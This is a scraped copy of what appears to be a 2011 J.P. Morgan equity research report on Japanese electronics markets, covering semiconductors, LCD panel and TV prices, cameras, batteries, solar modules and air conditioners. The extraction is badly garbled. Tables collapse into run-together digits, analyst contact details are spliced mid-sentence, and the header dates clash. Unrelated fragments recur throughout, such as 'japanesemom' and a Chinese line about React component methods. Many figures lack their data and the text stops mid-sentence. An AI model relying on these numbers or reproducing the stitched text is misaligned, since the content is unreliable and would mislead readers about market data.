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  • component-Japan component market update 1110

    一 : Japan component market update 1110

    Japan Equity Research26 October 2011

    ?Global semiconductor shipment value totaled $24.2billion (down 4.4%

    YoY, up3.1% MoM) in August: Shipment volume declined 1.2% YoY and Electronics

    ASP fell 3.2%. The MoM change in shipment value fell short of the past 19-

    year (1992-2010) average of 5.7%growth.Excluding memory devices (-30% Yoshiharu Izumi AC

    YoY), shipment value was up 4.1% YoY (+3.6% in July), maintaining the (81-3) 6736-8637

    yoshiharu.izumi@jpmorgan.com

    positive growth trend. If we strip out the effects of struggling DRAMs, August

    data does not look that bad.Electronic Components

    Masashi Itaya AC

    ?Panel price trends:LCD panel prices declined MoM in Octoberfor monitors (81-3) 6736 8633

    (-1.6%), notebook PCs (-2.1%), and TVs (-3.7%). The price of a 32-inch TV masashi.itaya@jpmorgan.com

    panelfell to $127, below the $135 cash cost of 8G lines. And because of the Precision & SPE

    weakening of the price-sensitivity effect (lower prices beget more sales), there Hisashi Moriyama AC

    is a possibility moves to cut back production will spread. We believe (81-3) 6736-8601

    inventories are at low levels, as set makers and retailers have not changed their hisashi.moriyama@jpmorgan.comcautious stance on demand trends. For this reason, if final demand is even a bit Mid-Tier Consumer Electronicshigher than planned, a run-up in demand for some products toward the end of

    the year is not inconceivable.Masashi Hayami AC

    (81-3) 6736-8606

    ?Camera shipments exceed our forecasts again in August:They have nowmasashi.x.hayami@jpmorgan.combeaten our expectations for fourstraight months. With no sign of negativeJPMorgan Securities Japan Co., Ltd.impact from the Great East JapanEarthquake and global economic slowdown in

    evidence, we think this is clearly areflection of strong demand. Data from CIPA

    (the Camera & Imaging ProductsAssociation) show that Augustdigital camera

    shipments totaled 11.68million units(+21.3% YoYand 18.3% MoM),

    exceeding our 10million unit forecast.As in the preceding month, the driver of

    overall growth was an increase inshipments of digital SLRcameras. D-SLR

    camera shipment volume was1.80 million units (+84.0% YoY) and shipment

    value totaled¥57.9 billion (+65.3%), with an ASP of ¥32,184(-10.2%).

    Compact camera shipmentvolume totaled 9.88million units (+14.2% YoY) and

    shipment value amountedto ¥87.7billion (-1.9%), with an ASP of ¥8,875

    (-14.1%).

    ?Concerns about the future having an impact:A J.P. Morgan compilation of

    electronic component orders reveals a 2.9% YoYdecrease for September2011

    (11-company basis), showing no improvement from August (-2.9%).Although

    the YoY comparison was low owing to PC and TV production cutbacks from

    mid-2010 onward, the placement of orders, particularly for passive components,

    also adjusted in September this year. By application,orders for desktop PC

    components, which had been firm, turned down, while orders for TV

    components also fell further. As we had expected the seasonal pickup in parts

    orders from August to continue into September, the MoM decline came as a

    negative surprise. It appears orderswith short-term deliveries have increased,

    suggesting that manufacturers held back on ordering in the settlement month of

    September over concerns about the future.

    See page 43 for analyst certification and important disclosures, including non-US analyst disclosures.

    are that the firm may

    have a conflictof interest that could affect the objectivity of this report. Investors should consider this report as only a single factor in making their

    investment decision.

    www.morganmarkets.com

    japanesemom Japan component market update 1110

    Manoj Singla (Regional head of IT services)

    IT Services

    Manoj Singla (India)

    Nishit Jasani (India)

    Internet

    Dick Wei

    Angela Hong

    2Japan Equity Research6September 2011

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Major Market Assumptions

    Figure 1: J.P. Morgan Technology Team’s Major Market Assumptions

    2007

    PC ('000 units)YoY (%)

    2008

    2009

    2010

    2011E

    P. Morgan Analyst

    5.56.713.711.3

    4.8

    1.4

    3.50.912,733-2.1-9.0

    45,128

    31.8

    (%)

    33.7

    37.7269,664

    13.156,487

    扩展:componentdidupdate / componentwillupdate / componentupdate

    2.9

    13,013

    13,006 0.1 -2.8

    3.2

    47,754 15.56.2

    Source: Company reports, IDC, DisplaySearch, Gartner Data Quest, WSTS data, SEMI data, Techno System Research and J.P. Morganestimates. Note: Digital camera data are on a fiscal year basis. FY2010 LCD capex is based on estimates. Semiconductor capex is based on bottom-up estimates.

    3

    japanesemom Japan component market update 1110

    Yoshiharu Izumi

    (81-3) 6736-8637

    yoshiharu.izumi@jpmorgan.com4Japan Equity Research6September 2011

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 2: Global Semiconductor Shipment Value (Quarterly)

    $ billion

    -Year

    19911992

    2E

    Source: WSTS, J.P. Morgan estimates.

    Note: J.P. Morgan estimates from 3Q2011onward.

    Figure 3: Growth in Global Semiconductor Shipment Value (QoQ)

    QoQ %

    -Year (YoY)

    19911992

    8.1%0.2%9.0%1.5%19.4%1.7%

    12.4%5.6%19.9%

    2.9%

    2.9%

    8.6%8.5%

    11.7%

    3.0%0.1%0.1%

    32.0%

    2.2%

    1.3%6.4%6.0%16.3%

    E2E

    92~10

    %1.7%2.1%

    1.9%

    1.4%24.2%

    .0%2%

    4.5%2.4%1%1%

    2.8%9.0%%.1%.0%

    1.6%8%6%

    Source: WSTS, J.P. Morgan estimates.Note: J.P. Morgan estimates from 3Q2011onward.

    5

    japanesemom Japan component market update 1110

    Yoshiharu Izumi

    (81-3) 6736-8637

    yoshiharu.izumi@jpmorgan.com6Japan Equity Research6September 2011-Year (YoY)1992199312.0%17.5%16.6%8.6%9.4%4.8%13.9%13.6%1.5%8.5%4.4%31.1%44.7%43.1%31.9%25.4%1.3%21.9%2.8%30.4%18.9%8.7%9.0%2%.3%0.2%4.1%2.0%.3%2E3.7%%.9%1.8%%Source: WSTS, J.P. Morgan estimates.Note: J.P. Morgan estimates from 3Q2011onward.

    japanesemom Japan component market update 1110

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 7: Global Semiconductor Sales Growth Forecast Consensus

    J.P. Morgan -Yoshiharu IzumiJ.P. Morgan -Chris Danely

    %

    Source: WSTSand J.P. Morgan estimates.

    2.8%9.0%%

    %%%-11-11-11

    Figure 8: DRAM Shipment Trends

    $‘000

    Source: WSTS.

    Note: Average is the average from 1994 to 2010.

    Figure 9: NAND Shipment Trends

    $’000

    Source: WSTS.

    Note: Average is the average from 2004 to 2010.

    8

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 10: DRAM Shipment Value/Volume Trends

    $ million, million units, $, %DRAM revenue ($ mn)1 GB Equivalent (mn units)1 GB Equivalent ASP ($)% MoMWW ASP% YoY

    DRAM revenueWW UnitsWW ASP

    Source: WSTS.

    3,5681,4012.55

    6%

    -7%55%48%4%

    3,0481,3442.27-11%18%35%-13%

    2,9161,4801.97-13%-3%36%-29%

    2,7061,5851.71-13%-7%49%-37%

    2,5381,5981.59-7%-15%46%-42%

    2,7121,7391.56-2%-8%64%-44%

    2,8141,7391.624%-17%49%-44%

    2,6871,6661.610%-21%49%-47%

    2,7951,7741.58-2%-23%48%-48%

    2,6101,8421.42-10%-27%54%-53%

    2,1041,5981.32-7%-40%33%-55%

    /112,0871,7211.21-8%-43%29%-56%

    Figure 11: NAND Shipment Value/Volume Trends

    $ million, million units, $, %

    /11

    WW Dollars ($ mn)

    2 GB Equivalent (mn units)

    1%

    20%10%

    13%

    Source: WSTS.

    9%9%10%4%1%

    22%4%43%

    2%7%43%

    16%36%27%28%27%26%16%31%36%

    Figure 12: LCD Driver Growth and ASP

    %

    $

    Source: WSTS.

    9

    japanesemom Japan component market update 1110

    Japan Equity Research6

    扩展:componentdidupdate / componentwillupdate / componentupdate

    September 2011

    Figure 13: Large-Scale LCD Driver Growth and ASP

    %

    $

    Source: WSTS.

    Figure 14:Mobile Phone-Use LCD Driver Growth and ASP

    %

    $

    Source: WSTS.

    Figure 15: Power Transistor Growth

    %

    Source: WSTS.

    10

    japanesemom Japan component market update 1110

    Japan Equity Research

    6

    September 2011

    Figure 16: Micro-Controller Unit (MCU) Growth

    Figure 17: MCU Sales

    $’000

    Source: WSTS.

    11

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 18: MOS Logic Supply/Demand Balance (Jan. 2003-Aug. 2011)

    Source: METI.

    Figure 19: MOS Display Driver Supply/Demand Balance (Jan. 2003-Aug.2011)

    Source: METI.

    Figure 20: MOS Memory Supply/Demand Balance (Jan. 2003-Aug.2011)

    %

    Source: METI.

    12

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Consumer Electronics (Yoshiharu Izumi)

    Flat Panel and TV Price Trends

    Panel price trends: LCD panel prices declined MoM in October for monitors (-1.6%), notebook PCs (-2.1%), and TVs (-3.7%). The price of a 32-inch TV panel fell to $127, below the $135 cash cost of 8G lines. And because of the weakening of the price-sensitivity effect (lower prices beget more sales), there is a possibility moves to cut back production will spread. We believe inventories are at low levels, as set makers and retailers have not changed their cautious stance on demand trends. For this reason, if final demand is even a bit higher than planned, a run-up in demand for some products toward the end of the year is not inconceivable.

    U.S. TV price trends: We regularly check U.S. TV price trends from the websites of Best Buy andWal-Mart. While it is sometimes difficult to make consecutive

    comparisons because products go out of production from time to time, it is possible to determine approximate trends. As in the previous month, we saw no conspicuous downward movements in TV set prices in October. Price declines were limited to Toshiba's 32-inch 1080P model (-8% MoM), Samsung Electronics' 46-inch 1080P model (-6%), Sharp's 46-inch 1080P 120HzLED model (-10%), and Toshiba's 46-inch 1080P 120HzLED model (-18%). With major TV set makers Philips and

    Panasonic indicating plans to scale back their operations, we think the cutthroat price competition in the TV industry is approaching its final phase.

    Figure 21: LCD Panel Price Trends

    $, %

    Source: DisplaySearch.

    Note: Starting from May2011 prices are announced once a month at mid-month.

    13

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 22: Best Buy’s Prices (60 inch)

    $, %

    5/2011 Average

    Sharp AQUOS/60" 1080p/120Hz/LCD HDTVModel: LC60E78UN

    Sharp AQUOS/60" 1080p/120Hz/LED-LCD HDTV Model: LC60LE831UWestinghouse 60" 1080p/120Hz/LCD HDTV Model: VR-6025ZSony 60 1080p/120Hz/3D LED-LCD HDTVKDL60EX723

    Samsung 59" 1080p/600Hz/3D Plasma HDTV Model: PN59D550C1Samsung 59" 1080p/600Hz/3D Plasma HDTVModel: PN59D6500D

    Source: Best Buy.

    Note: Oct. 2011average is based on data until Oct. 19.

    扩展:componentdidupdate / componentwillupdate / componentupdate

    /2011 Average1,299.99 1,799.99 999.99 NA NA 1,979.99 /2011 Average1,366.661,799.99999.992,879.321,673.321,953.32/2011 Average1,499.991,799.99999.992,879.991,599.991,979.99/2011 Average1,529.99

    NA 1,099.99

    NA NA NA

    Average

    NA 1,699.991,099.992,609.99

    NA NA

    Figure 23: Best Buy’s Prices (50 inch)

    $, %

    /2011 Average

    Samsung PDP/50" (HD)Samsung PDP/50" (HD 3D)

    Average

    /2011 Average

    2011 –2011

    reduction

    2010 –201124%

    %

    LCD

    Sharp LCD/52" (1080P 120 Hz LED) Sharp LCD/52" (1080P 240 Hz LED)

    %

    Source: Best Buy.

    Note: Oct. 2011 average is based on data until Oct. 19.

    19%57%

    38%38%

    Figure 24: Best Buy’s Prices (46/47 inch)

    $, %

    8/2011 Average

    LCD

    Samsung LCD/46(1080P)

    LCD/46(1080P LED 120Hz)

    1%

    Sony LCD/46(1080P 60Hz LED)

    2%

    LG LCD/47" (1080P LED 120Hz)

    LCD/46" (1080P 120Hz LED)ToshibaLCD/46" (1080P 120Hz) ToshibaLCD/46" (1080P 120Hz LED)

    TOTAL

    Source: Best Buy.

    Note: Oct. 2011 average is based on data until Oct. 19.

    Average

    /2011 Average2011 –20116%

    reduction

    2010 –20117%38%9%25%11%25%25%7%35%

    reduction

    3%

    1%3%9%3%

    17%20%21%13%

    10%18%

    14

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 25: Best Buy’s Prices (40/42 inch)

    $, %

    8/2011 Average

    PDP

    Panasonic PDP/42" (1080P)

    SamsungLCD/40(1080P)

    msungLCD/40(1080P 120Hz) msungLCD/40(1080P 60Hz LED) msungLCD/40(1080P 120Hz LED) msungLCD/40(1080P 240Hz 3D LED) LCD/40(1080P 120Hz) LG LCD/42(1080P 120Hz) LG LCD/42(1080P 120Hz LED)

    LCD/40(1080P 120Hz) SharpLCD/40(1080P 120Hz LED)

    LCD/40(1080P)

    ToshibaLCD/40(1080P 120Hz)

    LCD/40(1080P 120HzLED) LCD/40" (1080P)

    Philips LCD/40" (1080P 120Hz)

    LCD/42" (1080P)

    Panasonic LCD/42" (1080P 120Hz)

    TOTAL

    Source: Best Buy.

    Note: Oct. 2011average is based on data until Oct. 19.

    2011 Average/2011 Average/2011 –/2011

    reduction

    /2010 –/2011

    8%11%25%11%22%10%11%5%4%

    reduction

    8%

    5%11%16%8%4%

    26%4%6%

    9%

    Figure 26: Best Buy’s Prices (32 inch)

    $, %

    8/2011 Average

    LCD

    Samsung LCD/32 (1080P LED)Sony LCD/32(1080P)

    Google TV)

    LG LCD/32(1080P 120Hz) Philips LCD/32(1080P LED) Toshiba LCD/32 (1080P)Toshiba LCD/32 (HD LED)Panasonic LCD/32 (1080P)

    1%

    Source: Best Buy.

    Note: Oct. 2011 average is based on data until Oct. 19.

    Average

    /2011 Average2011 –2011

    reduction

    2010 –201130%19%3%10%38%11%15%29%

    reduction

    24%17%11%22%

    8%

    8%

    24%14%

    14%19%

    15

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 27: Wal-Mart’s Prices (46/47 inch)

    $, %

    8/2011 Average

    LCD

    Samsung LCD/46" (1080P)

    2011 Average

    /2011 Average

    /2011 –/2011

    8%6%

    reduction

    /2010 –/20117%14%4%9%

    7%

    7%

    Philips LCD/46" (1080P 120Hz LED)

    3%

    Vizio LCD/47" (1080P 120Hz LED) LG LCD/47" (1080P 120Hz LED)

    4%

    Source: Wal-Mart.

    Note: Oct. 2011 average is based on data until Oct. 19.

    reduction

    Sony LCD/46" (1080P 120Hz)

    41%43%

    42%

    23%43%

    6%

    33%

    9%2%

    23%

    Figure 28: Wal-Mart’s Prices (40/42 inch)

    $, %

    /2011 Average

    LCD

    Samsung LCD/40" (1080P) Sony LCD/40" (1080P 120Hz)

    LCD/40" (1080P 240Hz)

    Philips LCD/42" (1080P LED 120Hz) Vizio LCD/ 42" (1080P 120Hz)

    LCD/42" (1080P 120Hz LED) LCD TOTAL

    Source: Wal-Mart.

    Note: Oct. 2011 average is based on data until Oct. 19.

    Average

    /2011 Average2011 –2011

    reduction

    2010 –20114%11%11%13%23%37%

    reduction

    8%11%

    37%11%6%

    24%17%

    Figure 29: Wal-Mart’s Prices (32 inch)

    $, %

    8/2011 Average

    LCD

    Samsung LCD/32" (720P LED)

    5%

    Sony LCD/32" (1080P)

    5%

    Vizio LCD/32" (720P LED)

    Source: Wal-Mart

    Note: Oct. 2011 average is based on data until Oct. 19.

    Average

    /2011 Average2011 –2011

    reduction

    2010 –2011

    reduction

    20%12%

    16

    japanesemom Japan component market update 1110

    Japan Equity Research

    6

    扩展:componentdidupdate / componentwillupdate / componentupdate

    September 2011

    Domestic Consumer Electronics Shipment Trends

    Based on JEITA data, the value of consumer electronic shipments turned down a sharp 26% YoY in August. Although this comes on the heels of twoconsecutive monthsof double-digit growth, the decline in August was considerably greater than that in March, when the earthquake struck. By product category, video equipment shipments slumped 34% asspecial replacementdemand related to the transition to terrestrial digital broadcastingwound down. On the other hand, car audio/video equipment shipments rose1%, the first YoY increase in 12 months or since august 2010, thanks to the restoration of auto-industry supply chains.

    Flat-panel TV shipmentvolume was 1.26 million units in August, down a sharp26% YoYand 53% MoM. Cumulative shipment volume for January-Augusttotaled 15.33million units, up24% YoY. Shipment volume for all of 2011 is generally expected to be around 19million units(versus 25.19 millionunitsin 2010), but the special demand created by the eco-points program andtransition to terrestrialdigital

    broadcasting has eaten into future demand, and we think the market could contract toaround 10 million units in 2012.

    Figure 30: Domestic Flat-Panel TV Shipments (YoY)

    Figure 31: Domestic Video Cameras with Recorders Shipments (YoY)

    17

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Figure 32: Domestic DVD Shipments (YoY)

    Figure 34: Domestic Home Audio Shipments (YoY)

    Figure 36: Domestic Car Navigation System Shipments (YoY)

    18

    Figure 33: Domestic Blu-ray Shipments (YoY)

    Figure 35: Domestic Car Audio Shipments (YoY)

    japanesemom Japan component market update 1110

    Japan Equity Research6

    September 2011

    Games

    Shipment volumes (sell-through basis)of PS3 and PSP were 773,000 (+36% YoY) and311,000 (-17%), respectively, in September. A reduction in the price of PS3 in August accelerated YoY shipment growth in September. On the other hand, PSP was adversely affected by Nintendo's price cuts for the DS series, and sales momentum slowed markedly in September.

    Figure 37: PS3 Shipments

    ‘000 unitsFY09

    1Q (Sell-in)

    -in)-in)-in)

    -in)

    FY10

    1Q (Sell-in)

    -in)-in)-in)

    -in)

    FY11

    July(Sell-through)August(Sell-through)September (Sell-through)

    Source: Company data, VG Chart and J.P. Morgan estimates.

    Note:FY2009 and FY2010 are result, FY2011 Apr.~Sep. results are VG Chart data

    ,105.0 ,517.0

    ,312.0 ,405.0 ,037.0 ,200.0 ,575.0 ,150.0

    ,312.0 ,990.0 ,446.0 ,400.0 ,520.0 ,724.5

    ,100.0 ,200.0 ,500.0 ,200.0 ,000.0 ,400.0 ,500.0 ,300.0 ,100.0 ,300.0

    ,758.0 ,817.5

    Figure 38: PSP Shipments

    ‘000 unitsFY09

    1Q (Sell-in)

    -in)-in)-in)

    -in)

    FY10

    1Q (Sell-in)

    -in)-in)-in)

    -in)

    FY11

    July(Sell-through)August(Sell-through)September (Sell-through)

    Source: Company data, VG Chart and J.P. Morgan estimates.

    Note:FY2009 and FY2010 are result, FY2011 Apr.~Sep. resultsare VG Chart data

    ,260.0 ,281.0

    ,050.0 ,596.0 ,479.0

    ,200.0 ,344.0 ,140.0

    ,300.0 ,000.0 ,200.0 ,400.0 ,000.0 ,200.0 ,500.0 ,600.0 ,700.0 ,000.0

    ,260.0 ,526.0

    ,281.0

    ,440.0 ,193.0

    19

    japanesemom Japan component market update 1110

    Japan Equity Research

    6

    September 2011

    Consumer Electronics (Masashi Hayami)Solar Cell Modules

    Shipments of solar cell modules continued to trend upward in August, rising 30% YoY in volume terms (up 32% in July) and 13% YoY in value terms (up 20% in July). We think strong domestic demand continues to drive growth in both volume and value terms, but we estimate that shipments in Europe remain depressed owing to general economic deceleration. Unit prices declined at a double-digit pace again in August, falling 13% YoY (down 9% in July). Moreover, considering the weakness of the euro and that inventory levels remain very high (up 80% YoY in August vs. up 61% in July), we look for double-digit price declines to continue in the months

    扩展:componentdidupdate / componentwillupdate / componentupdate

    ahead. We see little chance that the 3Q 2011 earnings of solar cell manufacturers will improve dramatically versus 2Q.

    Figure 39: Domestic Solar Monthly Production

    units, ¥million, ¥'000, %Production Volume (units)

    Production Revenue (¥mn)

    ASP (¥‘000)

    YoY

    15.0%

    Source: METI./11994,204 978,171 975,029 889,683 996,961 1,062,014 1,021,689 1,057,303 1,282,570 1,216,155 1,213,653 27,954 28,194 28,980 26,856 29,827 30,174 27,066 28,212 35,519 33,322 30,081 28.1 28.8 29.7 30.2 29.9 28.4 26.5 26.7 27.7 27.4 24.8 17.5%9.6%6.4%12.5%9.2%11.7%14.8%13.0%10.7%9.4%13.1%

    Lead-acid Batteries

    Shipments of automotive lead batteries increased YoY for the first time since the earthquake and tsunami (first time since February), rising 2% YoY in August (down 3% in July). We attribute this to a recovery in domestic automobile production, and we expect shipments to continue rising YoY from September. Inventories rose for the fifth consecutive month, rising 20% YoY in August (up 15% in July), but because the shipments/inventory balance continues to improve MoM, we are not particularly concerned.

    Figures 41 and 42 chartthe respective price trends for lead and lead-acid batteries. In August, the price of lead fell 8% MoM to ¥241,000/ton while the ASP for lead

    batteries was flat MoM at ¥4,064. As of October 17, the domestic lead price stood at ¥203,000/ton and the LME price was at $1,962/ton, down 17% and 24%,

    respectively, from their end-August levels. When the trend in lead prices switches from rising to declining, the earnings of lead battery makers tend to improve. This is because, in addition to lower lead costs, battery prices still reflect the higher input cost from when lead prices were rising. Consequently, we believe the earnings of GS Yuasa and Shin-Kobe Electric should benefit from the current price trends.

    Regarding the impact on lead battery makers from the flooding in Thailand, at this point they have not suffered any direct damage. However, if their customers (mainly Japanese automakers) are unable to resume production relatively soon, we think theoverseas sales of companies like GS Yuasa and Furukawa Battery could be adversely affected.

    20

    japanesemom Japan component market update 1110

    Source: METI "Machinery Statistics, J.P. Morgan.Note:Sep.-Nov.2011data are J.P. Morgan estimates.

    Figure 41:Comparison of Lead Price and Lead-Acid Battery Price

    ¥‘000/ton

    Source: J.P. Morganbased on Machinery Statistics.

    Figure 42:Comparison of Domestic Lead Market Price and LME Price

    ¥‘000/ton

    Source: J.P. Morgan based on Bloomberg.

    21

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    September 2011

    Lithium Ion Batteries

    Lithium ion battery inventories in August were down 15% YoY (down 16% in July), while shipments rose 3% (down 2% in July). Production increased 3% YoY (down 4% in July), rising for the first time since the earthquake and tsunami (first increase since February). On the other hand, ASP continued to decline, falling to ¥201 in August (down 12% YoY and 1% MoM). We understand makers of consumer-use lithium ion batteries faced a harsh earnings environment in 2Q 2011, and we expect this to be the case in 3Q as well.

    Figure 43:Lithium-ion Batteries: Supply/DemandBalance (Jun2007-Oct.2011E)

    Source: METI "Machinery Statistics, J.P. Morgan.Note: Sep -Nov2011 dataare J.P. Morgan estimates.

    Figure 44:Lithium-ion Batteries: Trend in ASP

    ¥‘000/ton

    %

    Source: J.P. Morganbased on Machinery Statistics.

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    September 2011

    Air Conditioners

    August shipments of room air conditioners totaled 647,000 units, down 24% YoY (vs. down 7% in July). Shipments of package air conditioners totaled 68,000 units, down 5% YoY (up 9% in July). Shipments of both room and package air

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    conditioners lost momentum versus July, with both declining in YoY terms.

    Although shipments of room air conditioners declined sharply YoY, volume was roughly in line with the five-year average for the month of August (623,000 units). Accordingly, we believe shipments in August simply reverted to the historical average as the boosting effect of last year’s unusually hot summer and eco-point incentives fell off. We look for this trend to continue from September, with

    shipments holding around average levels due to the absence of the eco-point

    incentives that bolstered demand last year. We expect shipments to total 400,000 units in September (down 19% YoY) and 1,040,000 units in 4Q 2011 (down 35% YoY).

    We expect shipments of package air conditioners to also continue declining YoY from September, although the pace of decline should be mild relative to room air conditioners. This is because year-earlier shipments of package systems did not

    receive much of a boost from the hot weather and eco-point incentives, and demand this year should be supported by disaster reconstruction. We look for shipments to total 54,000 units in September (down 13% YoY) and 151,000 units in 4Q 2011 (down 10% YoY).

    Because we have revised down our forecast for 3Q 2011 shipments of household-use room air conditioners (to 14% YoY decline from 10% decline), we also lower our shipment forecast for full-term FY2011 to 7.81 million units (-6% YoY) from 7.93 million units. We also lower our forecast for FY2012 and FY2013 to 7.40 million units (from 7.52 million). On theother hand, we are slightly more positive on the outlook for commercial-use (package) air conditioner demand in 3Q 2011, and

    therefore we raise our forecast for full-term FY2011 shipments to 723,000 units (flat YoY) from 717,000 units.

    Figure 45:Room Air Conditioners: Domestic Shipment Trend

    ‘000 units%Source: JRAIA.

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    September 2011Figure 46:Package Air Conditioners: Domestic Shipment Trend‘000 units%Source: JRAIA.

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    September 2011Precision Equipment and Semiconductor Production Equipment (Hisashi Moriyama)Expecting Growth of Mirrorless Camera Market to AccelerateOn October 20 Nikon launched two next-generation cameras, the Nikon 1 J1 and V1. The new models were launched simultaneously globally, in Japan, Europe, and the US. We expect this to help accelerate the growth of the mirrorless market globally. Our forecast (shown below) for the mirrorless market prior to Nikon's launch of these next-generationcameras called for 3.2million units in FY2011 and 10 million in FY2014(Figure 59). Our overall forecast for the SLR camera market calls for 16.7million units in FY2011 and 28million in FY2014, with mirrorless cameras accountingfor virtually all the increase(Figure 57).Nikon's next-generation Nikon 1 J1 and V1 Poised to Trigger GrowthReviews appearing on the Internet prior to the release of the new camera were not that favorable. The two main reasons were 1) the one-inch (13.2mm x 8.8mm) size of the imaging sensors and 2) the high prices. Reviewers were skeptical of image quality because the sensors are smaller than APS size (23.1mm x 15.4mm) and full size (36.0mm x 23.9mm). With respect to sensor size, we think Nikon is targeting new users (mostly female) more than its established users, which we believe explains the difference in thecompany's point of view and the views of its established SLR users. Moreover, Nikon insists that even though the sensors are small, picture quality has been improved via the lens/image processing circuit combination. We look forward to seeing user reviewsafter the launch. We highlight the potential benefits of the small sensors, because the angle of view of zoom lenses used with full-size sensors becomes 2.7x larger. Using an adapter, a 200mm focal length lens obtains the angle of view of a 540mm equivalent on the Nikon 1 cameras. We think the cameras could become "sub cameras" for established users given the advantages for long-distance shooting such as wildfowl photography, sports, and aircraft.As for pricing, our impression is that launch prices in Japan, not just for these models but overall, are often daringly set about 20% higher than the adequate level. Then over about three months prices move (and margins narrow) to levels the market will bear. The Nikon 1 J1 has started with a price of ¥59,000, which we expect to drop to about ¥45,000 roughly three months from now. That price is still higher than the D3100's ¥34,000 however, so we think Nikon should fare reasonably well in terms of profitability.MirrorlessCameras Will Likely Be a Plus for Camera Makers' ProfitabilityBecause mirrorless cameras do not need reflective mirrors or pentaprisms, their cost structure is conducive to lowering cost-of-sales. We think it will be easier for camera makers to boost the operating margins of mirrorless cameras than entry-level SLRs. From that perspective we think if Nikon is able to increase its share of volume, its

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    +16.0%). Only Japan shipments were weak, down 11.1% at 800,000. Shipments to Asia remained on par with Europe and the Americas and the level of US shipments recovered, likely with support from the new school year season. We think the most important factor for the digital camera market remains market growth spurred by emerging-market demand.

    Our forecast for September shipment volume is 13 million units (+0% YoY, +11.3% MoM):If the impact of economic slowdown in Europe and the US spreads to China and other parts of Asia, then some caution would be warranted toward the potential for growth to slow in the digital camera market. That said, manufacturers have new models ready for the Christmas shopping season. Professional models may also be introduced in advance of the 2012 London Olympics. We do not expect any major slowdown in the digital camera market. On the next page we provide a spec table that includes the next-generation digital cameras that Nikon launched on

    October 20, the Nikon 1 J1 and V1. We expect the prices of the cameras to approach the entry-level DSLR range about three months after launch. The cameras offer faster autofocus and smaller profile lenses, features that we think will likely help Nikon increase its market share.

    Figure 48:Digital CameraShipmentsby Location

    Volume: '000 units

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    September 2011

    Figure 56:Digital Camera shipmentsmillionunitsCanon

    Sony

    -Packard

    Market share (%)-Packard Source: Company data and J.P. Morgan estimatesFigure 57:DSLR Shipmentsmillion unitsNikon

    CanonMarket Growth (%)

    Market Share(%)20.3%11.5%31.4%21.9%25.8%18.6%12.5%

    Source: Company data and J.P. Morgan estimates

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    September 2011

    Figure 58:Compact DigitalCamera Shipments

    million units

    CanonSonyOlympus

    Samsung Digital ImagingNikonPanasonic

    Casio ComputerFujiFilm HoldingsHewlett-Packard PENTAXOthers

    Market share (%)SonyOlympus

    Samsung Digital ImagingNikonPanasonic

    Casio ComputerFujiFilm HoldingsHewlett-Packard PENTAXOthers

    Global Total

    Source: Company data and J.P. Morgan estimates

    19.7021.008.4512.9311.5110.055.909.005.001.5011.9016.9%18.0%7.2%11.1%9.8%8.6%5.0%7.7%4.3%1.3%10.2%100.0%

    21.0023.007.6014.6014.269.005.1511.205.501.3010.8017.0%18.6%6.2%11.8%11.6%7.3%4.2%9.1%4.5%1.1%8.8%100.0%

    20.0022.008.7015.6015.508.004.2013.005.001.3010.9016.1%17.7%7.0%12.6%12.5%6.4%3.4%10.5%4.0%1.0%8.8%100.0%

    21.5024.009.0016.4017.009.005.0014.005.501.4511.0016.1%17.9%6.7%12.3%12.7%6.7%3.7%10.5%4.1%1.1%8.2%100.0%

    23.0026.009.5017.2018.5010.005.5015.005.501.5911.0016.1%18.2%6.7%12.0%13.0%7.0%3.9%10.5%3.9%1.1%7.7%100.0%

    25.0028.0010.0018.0020.0011.006.0016.005.501.7011.00

    16.4%18.4%6.6%11.8%13.1%7.2%3.9%10.5%3.6%1.1%7.2%100.0%

    Figure 59:Mirrorless Camera Shipments

    million unitsNikonCanon

    Digital Imaging

    Global Total

    --1.9

    3.2

    5.4

    7.5

    10.0

    Market Share(%)NikonCanonSonyPentaxOlympusPanasonicFuji Film

    Samsung Digital ImagingSource: Company data and J.P. Morgan estimates

    15.10.040.90.018.918.90.06.318.518.527.80.013.013.00.09.3

    20.120.122.80.010.116.10.010.722.023.022.00.08.015.00.010.036

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    September 2011

    Figure 60:Worldwide Bottom-Up SPE Capex Estimates

    $ million, %CYLogicIntel

    Microelectronics

    2011E10,5009001,200

    -100-5545508033,738428414235312376-95183411894632-2021,80955.4%7,4001,8005,400

    -84052573563017,33034.9%2,761500400-1474123005811,7292,90058430010,614-12.9%3,8131,4681,1533006,73411.1%56,48725.2%

    2012E6,0008001,000

    -100-5005007003,000300471235318376-97185311894588--15,953-26.9%5,4002,0005,000

    -80050070060015,000-13.4%2,803400300-1003002005591,9072,0004002009,169-13.6%4,3851,6761,2713007,63213.3%47,754-15.5%

    NEC Electronics)Renesas)

    0.3%

    TSMC

    18.7%18.1%29.6%

    17.6%

    Samsung

    12.8%11.6%0.2%19.3%

    45.0%

    Samsung

    56.8%

    34.1%

    WORLDYoY

    31.8%

    49.7%37.7%

    Source: Company data and J.P. Morgan estimates. Note: IBM Microelectronics, Atmel, Anam/Dongbu, SMIC, Grace Semiconductor, Shanghai Belling, Huajing Electronics Group, Chartered, Winbond, Macronix, Micron, and Promos are based on company guidance. Some changes were made from the previous report in orderto make the data analysis more precise. Previous data for AMD and Chartered Semiconductor are combined to Global Foundries. Toshiba: Both past data and estimates have been separated into Logic and Foundry.

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    September 2011

    Figure 61:Bottom-Up LCD CapexSpending Forecasts

    $ million, %

    Source: Company data and J.P. Morgan estimates.

    Note: Innolux, IPS Alpha, SVA-NEC, Infovision, Chungwha Picture Tube, Hannstar, BOE Hydis are based on company guidance.

    Some changes were made from the previous report in order to make the data analysis more precise.

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    September 2011

    Electronic Components (Masashi Itaya)Orders Correction Under Way, Centered on Passive

    Components

    Concern toward outlook weighing on orders:Our Septembercompilation of

